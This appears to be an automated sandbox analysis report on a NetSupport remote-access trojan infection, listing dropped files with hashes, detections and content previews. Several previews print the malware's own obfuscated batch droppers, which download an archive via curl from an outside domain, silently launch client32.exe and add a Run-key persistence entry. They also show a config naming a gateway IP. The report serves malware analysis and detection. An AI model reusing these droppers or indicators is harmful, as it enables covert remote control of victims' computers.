Preview:	..{.....I.n.s.e.r.t. .a. .d.e.l.i.m.i.t.e.r. .a.t. .e.v.e.r.y. .n.-.t.h. .p.o.s.i.t.i.o.n.....}.........v.a.r..... . .i.:. .i.n.t.e.g.e.r.;..... . .j.:. .i.n.t.e.g.e.r.;..... . .k.:. .i.n.t.e.g.e.r.;..... . .d.:. .s.t.r.i.n.g.;. ././. .i.n.p.u.t. .b.u.f.f.e.r..... . .s.:. .s.t.r.i.n.g.;. ././. .o.u.t.p.u.t. .b.u.f.f.e.r..... . .d.l.m.t.:. .s.t.r.i.n.g.;..... . .s.t.e.p.:. .i.n.t.e.g.e.r.;.....b.e.g.i.n..... . ..... . .s.t.e.p. .:.=. .4.;..... . .i. .:.=. .0.;. ././. .o.f.f.s.e.t..... . .d.l.m.t. .:.=. .'.%.u.'.;..... . ..... . .d. .:.=. .R.e.a.d.D.o.c.;..... . .s. .:.=. .'.'.;..... . .j. .:.=. .l.e.n.g.t.h.(.d.).;..... . .w.h.i.l.e. .i. .<. .j. .d.o..... . .b.e.g.i.n..... . . . .s. .:.=. .s. .+. .d.l.m.t.;. ././. .i.n.s.e.r.t. .d.e.l.i.m.i.t.e.r. .b.e.f.o.r.e. .d.a.t.a. .m.e.m.b.e.r..... . . . .f.o.r. .k. .:.=. .1. .t.o. .s.t.e.p. .d.o..... . . . .b.e.g.i.n..... . . . . . .i.f. .(.i. .+. .k.). .<.=. .l.e.n.g.t.h.(.d.). .t.h.e.n..... . . . . . .s. .:.=. .s. .+. .d.[.i. .+. .k.].;..... .

C:\ProgramData\PScripts\rot-13.pscript

Process:	C:\ProgramData\7zz.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	3.358913269584849
Encrypted:	false
SSDEEP:	24:Qe9J9qno9H6/oqspi7lk+ejGeIYelmpoO67SrZetYelJoO672ZeoYel0oO67SrZj:LD9wC6/VsGlk+sH6JH63H6JH6d
MD5:	AC1CD856F434464D3F68465061171D0A
SHA1:	57AE543F84214CF00576DB15BD24D2E1F3BD4768
SHA-256:	2E4BD5557AEDD1743DA5FAB1B6995FBC447D6E9491D9EC59FA93AB889D8BCCD1
SHA-512:	6348F2C1DD131231F041B5E59BB83EB7E337C93799A955DF66FB077DC3B91659263CF8780BC7A6A007008155CC2C83B0AB1AC145ABCA2A8FA7D3500AF46D1A49
Malicious:	false
Reputation:	unknown
Preview:	..{.....R.O.T. .1.3.....}.....v.a.r..... . .S.t.r.L.e.n.,. .i.,. .c.h.a.r.N.u.m. .:. .W.o.r.d.;..... . .I.n.p.u.t.,. .o.u.t.p.u.t.:. .s.t.r.i.n.g.;.....b.e.g.i.n..... . .I.n.p.u.t. .:.=. .R.e.a.d.D.o.c.;..... . .O.u.t.p.u.t. .:.=. .'.'.;..... . .S.t.r.L.e.n. .:.=. .L.e.n.g.t.h.(.I.n.p.u.t.).;......... . .f.o.r. .i.:.=. .1. .t.o. .S.t.r.L.e.n. .d.o..... . .b.e.g.i.n..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.A.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.M.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .+. .1.3.)..... . . . .e.l.s.e..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.N.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.Z.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .-. .1.3.)..... . . . .e.l.s.e..... . . . .i.f. .(.I.n.p.u.t.[.i.]. .>.=. .'.a.'.). .a.n.d. .(.I.n.p.u.t.[.i.]. .<.=. .'.m.'.). .t.h.e.n..... . . . . . .I.n.p.u.t.[.i.]. .:.=. .c.h.r.(.o.r.d.(.I.n.p.u.t.[.i.].). .+. .1.3.)..... . . . .e.l.

C:\ProgramData\Settings.txt

Process:	C:\ProgramData\7zz.exe
File Type:	Generic INItialization configuration [en]
Category:	dropped
Size (bytes):	729
Entropy (8bit):	5.161224970148946
Encrypted:	false
SSDEEP:	12:Sx425viDEWeQrCISTiS/RQDIYm1S8Cye07xWXgeVWBmmeAFm7Vp67WpAny:SN5viDdrtSOSu0YYTNkWQaaVw7WGy
MD5:	BCCC9E937D8D72A12743D75A6B396A34
SHA1:	7AC820493A357F17230CDCEEF37C69BF2510AB5C
SHA-256:	8CB0F6D438DB151ED507299A64031B5C957141CFC632ACE95B9135168E0FD121
SHA-512:	F9A42E7CCF3DF6D99846E8B05FE21C4D5CAFDFC24F97C0EEFBAE1E27B674E637FEAAE86A52E680A12A074AE695CD2E80FC8E5588AD46063B3ADBB4A6CB9D5CE2
Malicious:	false
Reputation:	unknown
Preview:	[Downloader]..UseUserAgent=1..UserAgentString=Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1) Opera 7.50 [en]..UseProxy=0..AutoRedirect=0..AutoReferrer=1..AutoParseLinks=1..UseCookies=1..SaveAsProject=1..AutoComplete=0..URLHistory=1..UseReferrer=1..ExtendedInfo=1..[Decoder]..UseHighlight=1..ReplaceEval=0..ReplaceEvalWith=evla..OverrideEval=0..AutoReplaceEval=0..[Proxy]..Address=..Port=..User=..Pass=..Hidden=1..[Monitor]..Multi=0..[Misc]..ClearClipboard=0..AutoParseLinks=1..ReplaceEval=0..ReplaceEvalWith=evla..AutoReplaceEval=0..ClearCache=1..ClearHistory=0..Language=default.lng..Highlight=1..OverrideEval=1..FontName=Tahoma..FontSize=8..[Display]..Highlight=1..FontName=MS Shell Dlg 2..FontSize=8..AutoFocusDecoder=0..

C:\ProgramData\TCCTL32.DLL

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	396664
Entropy (8bit):	6.809064783360712
Encrypted:	false
SSDEEP:	12288:OpwbUb48Ju0LIFZB4Qaza4yFaMHAZtJ4Yew2j/bJa+neNQ:epq7BaGIn4BbLneNQ
MD5:	EAB603D12705752E3D268D86DFF74ED4
SHA1:	01873977C871D3346D795CF7E3888685DE9F0B16
SHA-256:	6795D760CE7A955DF6C2F5A062E296128EFDB8C908908EDA4D666926980447EA
SHA-512:	77DE0D9C93CCBA967DB70B280A85A770B3D8BEA3B707B1ABB037B2826B48898FEC87924E1A6CCE218C43478E5209E9EB9781051B4C3B450BEA3CD27DBD32C7F3
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L...Y?XV...........!................................................................'.....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text............................... ..`.rdata../...........................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc.. F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101680
Entropy (8bit):	4.481468672521447
Encrypted:	false
SSDEEP:	384:qUjV5+6j6Qa86Fkv2Wr120hZIq6nYPL7NheMxnB1:qgVZl6FhWr80/h6EN/
MD5:	F70B67C2B3204B7DDD8B755799CCCFF0
SHA1:	A42E55E328D62D11E687C167BB7049D46F0F9B26
SHA-256:	213AF995D4142854B81AF3CF73DEE7FFE9D8AD6E84FDA6386029101DBF3DF897
SHA-512:	54FCBA8A063BFBAAE4C3A39624BF3407DB6AF5699AB8686F936AB03C5864DF7A44D089066FA2D4AEDF5AD50D6B04624966A5111BF57BEC1DDA74A571F1DD7C63
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i...........t..0........... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\client32.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	714
Entropy (8bit):	5.272982980469994
Encrypted:	false
SSDEEP:	12:EbxS2h3q+jhGSGpBlsVTXuZ7+DP98XTKIDWss1CYublufN3Bu6a39GJ/:EbI2hFhapBlLoGXuIDvsPuGYT34t
MD5:	A61475B49FEA7E08719A7E8AD1C5D278
SHA1:	60591111A837C93ACF7E32096F43EA704831DA35
SHA-256:	DC020C98ED1D39721AD1F127DC0C04A0735BD47C6B6ECD222683210A601D90DB
SHA-512:	1CDAF447E9E591D44A1DE10453008391EE80EEF3FEC0EC8A6D354C15A9412AD87F7F33ABDF8F7C0F061F6FA70F759CDEB1352B620609B0A6F3E4AF82636D19FC
Malicious:	false
Reputation:	unknown
Preview:	0xb47c726d....[Client].._present=1..AlwaysOnTop=1..DisableChat=1..DisableChatMenu=0..DisableClientConnect=0..DisableCloseApps=1..DisableDisconnect=0..DisableManageServices=1..DisableMessage=1..DisableReplayMenu=0..DisableRequestHelp=0..HideWhenIdle=1..Protocols=3..RoomSpec=Eval..ShowUIOnConnect=0..silent=1..SKMode=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..UnloadMirrorOnDisconnect=1..Usernames=*....[_Info]..Filename=C:\Users\Administrator\Desktop\1\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=94.158.247.23:5050..GSK=FH;G@ADJ9J>ICLHA=K@MED..Port=5050..SecondaryGateway=..SecondaryPort=..

C:\ProgramData\desktop.ini

Process:	C:\ProgramData\7zz.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.862313970853504
Encrypted:	false
SSDEEP:	3:0NdQDjo/KKQiWDy3c5kSRE2J5oH+fqLEcTvzTXyn:0NwoCKQiWDy3IZi23oH+4TvzTXyn
MD5:	B21BF903986AC0CE3B7BB2371C8502D2
SHA1:	FC8C4D1630A2198A95F9739BF16F53E83BF81174
SHA-256:	BB2DF21D474ED3E383FE56691DD5FE9E441F2B163A82A2D4D1042783F249B70F
SHA-512:	3B0BA816CEA96FB8648A6A3CD9421EBC03065C02B4047D29834B417EF25A10DE1B5B8DDFEE5BB85761D185DDB1B36F37193CAAE0B7894B5E3850F061459DF197
Malicious:	false
Reputation:	unknown
Preview:	[.ShellClassInfo]..IconResource=C:\Users\daddy\AppData\Local\Microsoft\OneDrive\OneDrive.exe,1..

C:\ProgramData\lolo.7z

Process:	C:\Windows\System32\curl.exe
File Type:	7-zip archive data, version 0.4
Category:	modified
Size (bytes):	2306944
Entropy (8bit):	7.999915641276459
Encrypted:	true
SSDEEP:	49152:rDHf7GK0RIZLYUIFWsFYL7084J3Sr7Y1t/iAJkxNkvTMTTi0oIFJePBM5Pl:rDHfcyZ8/FW8Y9m9i5IvEP
MD5:	8970FCCD38432D3A6EEFED2F274709DF
SHA1:	5EEFA6D5AF3ADC5A84A5E7BA66DE87779221CC02
SHA-256:	CEA3F6928121BF4382E7144B9A900CDCBECB7B7F95A14531EC0C04286A08489E
SHA-512:	B647573EC25890736D94978AFB6E45C6762BA97963D91911CCD3ABF83660DA464496A4AD5AF9AFA6CAADAC76C6BE8D76B83E3DBC1987076F2560E3D7AF452B95
Malicious:	false
Reputation:	unknown
Preview:	7z..'...b...;3#.....%........}.4....N]...........&...@...ZtA.4..x=i...h.5.UBh.K....KB}"GA..........x.....6.c.8..V.>..3.3.~...b..X......W.b...w....ubQ...h[....`..3)....>......U..K..Y.0}(.g..7..brw..y..../3z.t...,.g.@...aJ......0K........'Q......s.2!.@..7.g..~....a..........V.N3....../Mr$.yL.N...CKu8."N.i......#w..Oc...!..6.c..0......%.?.0..:...d....F..n..!....zz..v.9W..UB.n0........w..P...JD......L&..^G.o..(D..`y..e.N.B/..l...&..L..,.$..3.l.<G....C.a5...S.70g}...s........;.....#.#BlO.....h.5....u...y......NUU...B..S.m.......Q..E.D...6.. K.r.E....A.8..J;...5..q..(......V#...'......)....,.M.I..s...#j..s.%.Z$....n<.......a...53u.,....^o....7j...;.2....1.N)p..>........L....qK\..$....@U.....I.F@.E+.....~......aI^...w....V.t..o...2U,".d.4.......}..<.L.U.....z..a..7u.U1..ua`.....T.7....a.$.....N;..t.Fa7...?..s9.....ICU...;.w..F.w.[A@x.....U.k.$..!D.......C$h.I.._.h*...q...T...mN\|....?/.......us.>..M..+..h......yBF.-...S...?b.f)......L..8......{f

C:\ProgramData\msvcr100.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901559811406837
Encrypted:	false
SSDEEP:	12288:nMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoe3z:MmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV7z
MD5:	0E37FBFA79D349D672456923EC5FBBE3
SHA1:	4E880FC7625CCF8D9CA799D5B94CE2B1E7597335
SHA-256:	8793353461826FBD48F25EA8B835BE204B758CE7510DB2AF631B28850355BD18
SHA-512:	2BEA9BD528513A3C6A54BEAC25096EE200A4E6CCFC2A308AE9CFD1AD8738E2E2DEFD477D59DB527A048E5E9A4FE1FC1D771701DE14EF82B4DBCDC90DF0387630
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x......................................@..........................H......d...(.......................P.......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\nskbfltr.inf

Process:	C:\ProgramData\7zz.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\ProgramData\nsm_vpro.ini

Process:	C:\ProgramData\7zz.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\ProgramData\pcicapi.dll

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33144
Entropy (8bit):	6.7376663312239256
Encrypted:	false
SSDEEP:	768:JFvNhAyi5hHA448qZkSn+EgT8ToDXTVi0:JCyoHA448qSSzgIQb
MD5:	34DFB87E4200D852D1FB45DC48F93CFC
SHA1:	35B4E73FB7C8D4C3FEFB90B7E7DC19F3E653C641
SHA-256:	2D6C6200508C0797E6542B195C999F3485C4EF76551AA3C65016587788BA1703
SHA-512:	F5BB4E700322CBAA5069244812A9B6CE6899CE15B4FD6384A3E8BE421E409E4526B2F67FE210394CD47C4685861FAF760EFF9AF77209100B82B2E0655581C9B2
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\ProgramData\pcicapi.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`............@..........................^.......W..d....@..x............X..x)...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\ProgramData\putty.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1647912
Entropy (8bit):	6.92723334837222
Encrypted:	false
SSDEEP:	49152:TDXOPFJK9bbYF8paMB8QMy3bHwPXNg/7UyW+ekBeZmn:T0WhreNg/X
MD5:	F838FDAFD0881CF1E6040A07D78E840D
SHA1:	2A35456B2F67BD12905378BEB6EAF373F6A0D0D1
SHA-256:	FC6F9DBDF4B9F8DD1F5F3A74CB6E55119D3FE2C9DB52436E10BA07842E6C3D7C
SHA-512:	5C0389EB79E5C2638C0D770CDE1A5C56A237AA596503966D4F226A99F94531AF501F8BF4EFA00722E12998F73271E50D8C187F8E984125AFFE40B1AB231503B4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....\c.........."......Z...p.................@.............................`......D.....`.............................................................X.......xl......(W...@..................................(......@...........(................................text...fY.......Z.................. ..`.rdata.......p.......^..............@..@.data....U...p.......^..............@....pdata..xl.......n...n..............@..@.00cfg..8....@......................@..@.gxfg...`*...P...,..................@..@.tls................................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc.......@... ..................@..B........................................................................................................................................................................................................................

C:\ProgramData\qweq.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	532
Entropy (8bit):	5.259398326283338
Encrypted:	false
SSDEEP:	12:kh5ObfauP28nlxWZ3lMVj0ESLXRtf4LXnidEWSDcEA:B62AlMVJuXRtf8XnIED2
MD5:	975B043ED876F1C265AACB60BBEA6B11
SHA1:	3B8F7AE6B0282BE88D08B171BF9267FDF4CBF28E
SHA-256:	F344211B6F67F0AE3D6256648526C6E986EC8E4F31367FA17AB963DE788BD6D8
SHA-512:	E9D2E306B9A562E94B8793C87B7C4506274D67561D715871DFF1E88038C7413F32307602F5DDC97363A62875B16BBBD307D01DA897C88C6EB33F004A6FAE4877
Malicious:	false
Reputation:	unknown
Preview:	@echo off....:: ssRsgs3sgsbgsggsgs3gsgs3s3Z6..:: ssRbZgs6gsgs326fssRb....start /b /min xcopy /h /y 7zz.exe C:\ProgramData\ && start /b /min cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\ && TIMEOUT /T 7 && start /b /min cmd /c C:\ProgramData\client32.exe....set CachedX=HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run..reg query "%CachedX%" >nul 2>&1.. if %errorlevel% equ 0 (.. reg add "%CachedX%" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f .. ).. ::fhgggsgs3sgs3sgssgs3sgssgs

C:\ProgramData\remcmdstub.exe

Process:	C:\ProgramData\7zz.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	63864
Entropy (8bit):	6.446503462786185
Encrypted:	false
SSDEEP:	1536:Tf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQhiK:D6f7cjJ4U4I1jFqy92hiK
MD5:	6FCA49B85AA38EE016E39E14B9F9D6D9
SHA1:	B0D689C70E91D5600CCC2A4E533FF89BF4CA388B
SHA-256:	FEDD609A16C717DB9BEA3072BED41E79B564C4BC97F959208BFA52FB3C9FA814
SHA-512:	F9C90029FF3DEA84DF853DB63DACE97D1C835A8CF7B6A6227A5B6DB4ABE25E9912DFED6967A88A128D11AB584663E099BF80C50DD879242432312961C0CFE622
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......o....@....................................<.......T...............x)..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\sett.bat

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	247
Entropy (8bit):	5.269129459799581
Encrypted:	false
SSDEEP:	6:CxBR2WXp+N23f9QSkCfFlCe8UlLAHbKx48HKmnOB1WXp+N23fQRnn:cnHONCfFADC0vTmnOKcnn
MD5:	4FA8F25966DD40B0F58B4673079FA740
SHA1:	336C2DE460D273589990BA488991A4F0F56A7E54
SHA-256:	B8A0E8B0D5E4708422AC99F98FDAE3DAC3C4068090E6EB2E026FFAFF21D92B5F
SHA-512:	4A7E8A290C09E0706136383365046E24964AF46DFD0B13D8688AF8D7F70F052752722C4D2AC79BC7C45940CF57D2A851B3D6ADDEE2003DCCDF1319572128925A
Malicious:	false
Reputation:	unknown
Preview:	if not exist "C:\Users\user\AppData\Local\Temp/lolo.7z" ( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z" ) .."C:\Users\user\AppData\Local\Temp/sett.bat"..

C:\ProgramData\xcpCFFjZKLTFFLZfvqyQQKBvqwD.bat

Process:	C:\Windows\System32\wscript.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.243181486469752
Encrypted:	false
SSDEEP:	24:VzNEa7DDmcKEK88leevTwKev5NaczevNDB4HK:Vz/7DPKEK8852Xt6NQK
MD5:	CC74CF81F442E922B077F6CF0F87FA41
SHA1:	D8BE8FCB85507D5B05A3025BB0CEFBD0B614DE96
SHA-256:	6A58399A333E0B20E9FE1944EE997585A7A1927776308048DA1E3FB7734EF581
SHA-512:	1F00A8B92F83B3E84D4798AB2805432CD3A1061CB294DFA4C869D9BAA0DF233A9BD68788DFC68BBAB9995305E7634937AA35AD3F75DC40095CF1BD0A53BF655C
Malicious:	false
Reputation:	unknown
Preview:	@echo off..:: R11ffsRsfsRb.:: 3Z6fKfsRKfsRb..set "fdaa=set ".%fdaa%"fdgxvxcvxc=C:\Prog".%fdaa%"hghgdgdfsz=ramD".%fdaa%"hyturdfgf=ata\"..:: R11KfsffsRssRsRsRRb.:: ssRsRfsRsRRb..%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%..set "fgdgh=set ".%fgdgh%"vbnvbv=Wscr".%fgdgh%"jhgcvbc=ipt.Sh".%fgdgh%"jhvbcs=ell"..:: RsfsRR11Rb.%vbnvbv%%jhgcvbc%%jhvbcs%..set "ghjgr=set ".%ghjgr%"cvbcvbsds=WSc".%ghjgr%"gfgxxc=rit.Ar".%ghjgr%"hgvbcvbc=guments"..:: R11fsRssRRRb..%cvbcvbsds%%gfgxxc%%hgvbcvbc%..:: 1sRs1sRs1sRs1sRs..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tmp%/b1.vbs".(echo if not exist "%tmp%/lolo.7z" ^( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%lolo.7z" ^) & echo "%tmp%/sett.bat") > "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%sett.bat"..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\loca[1].htm

Process:	C:\ProgramData\client32.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	2.8402239289418514
Encrypted:	false
SSDEEP:	3:yAcn:yV
MD5:	020DF0663B4F5741AD652976C4207B0B
SHA1:	50AAA69D3EA68A7B16AA8FCBD866A6598EC39392
SHA-256:	0B4688799BA0DF92A3730B63635CC57F19DF94357AE63850AB96771A5711A3E1
SHA-512:	A6CA0A74AC46AB3A42B61A534BD97D167DF6900627E9076D75C40744D9B87EF71C26C9D8C797D5B410BFEF8A7805B87DE81CCC9BB76743B69678C083E3B07AE9
Malicious:	false
Reputation:	unknown
Preview:	47.1772,8.42719

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\11[1].bat

Process:	C:\Windows\System32\wscript.exe
File Type:	DOS batch file, ASCII text
Category:	dropped
Size (bytes):	1908
Entropy (8bit):	5.243181486469752
Encrypted:	false
SSDEEP:	24:VzNEa7DDmcKEK88leevTwKev5NaczevNDB4HK:Vz/7DPKEK8852Xt6NQK
MD5:	CC74CF81F442E922B077F6CF0F87FA41
SHA1:	D8BE8FCB85507D5B05A3025BB0CEFBD0B614DE96
SHA-256:	6A58399A333E0B20E9FE1944EE997585A7A1927776308048DA1E3FB7734EF581
SHA-512:	1F00A8B92F83B3E84D4798AB2805432CD3A1061CB294DFA4C869D9BAA0DF233A9BD68788DFC68BBAB9995305E7634937AA35AD3F75DC40095CF1BD0A53BF655C
Malicious:	false
Reputation:	unknown
Preview:	@echo off..:: R11ffsRsfsRb.:: 3Z6fKfsRKfsRb..set "fdaa=set ".%fdaa%"fdgxvxcvxc=C:\Prog".%fdaa%"hghgdgdfsz=ramD".%fdaa%"hyturdfgf=ata\"..:: R11KfsffsRssRsRsRRb.:: ssRsRfsRsRRb..%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%..set "fgdgh=set ".%fgdgh%"vbnvbv=Wscr".%fgdgh%"jhgcvbc=ipt.Sh".%fgdgh%"jhvbcs=ell"..:: RsfsRR11Rb.%vbnvbv%%jhgcvbc%%jhvbcs%..set "ghjgr=set ".%ghjgr%"cvbcvbsds=WSc".%ghjgr%"gfgxxc=rit.Ar".%ghjgr%"hgvbcvbc=guments"..:: R11fsRssRRRb..%cvbcvbsds%%gfgxxc%%hgvbcvbc%..:: 1sRs1sRs1sRs1sRs..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tmp%/b1.vbs".(echo if not exist "%tmp%/lolo.7z" ^( curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%lolo.7z" ^) & echo "%tmp%/sett.bat") > "%fdgxvxcvxc%%hghgdgdfsz%%hyturdfgf%sett.bat"..echo CreateObject^(%vbnvbv%%jhgcvbc%%jhvbcs%^).Run ^& %cvbcvbsds%%gfgxxc%%hgvbcvbc%^(0^) ^& , 0, False > "%tm

C:\Users\user\AppData\Local\Temp\b1.vbs

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	70
Entropy (8bit):	4.6987263671247135
Encrypted:	false
SSDEEP:	3:FER/McVqQDDIgk7O+JF9Bv:FEREkqOMgkq+Lzv
MD5:	A883AA8226B7A6328633EB161B7EFB85
SHA1:	9493C6A36F9155D2C210E98582B7DEDC2E92987A
SHA-256:	EE218F8B91B270886DC87064F014AC734E0E80EC87214DCF149B436CCFA8B9DA
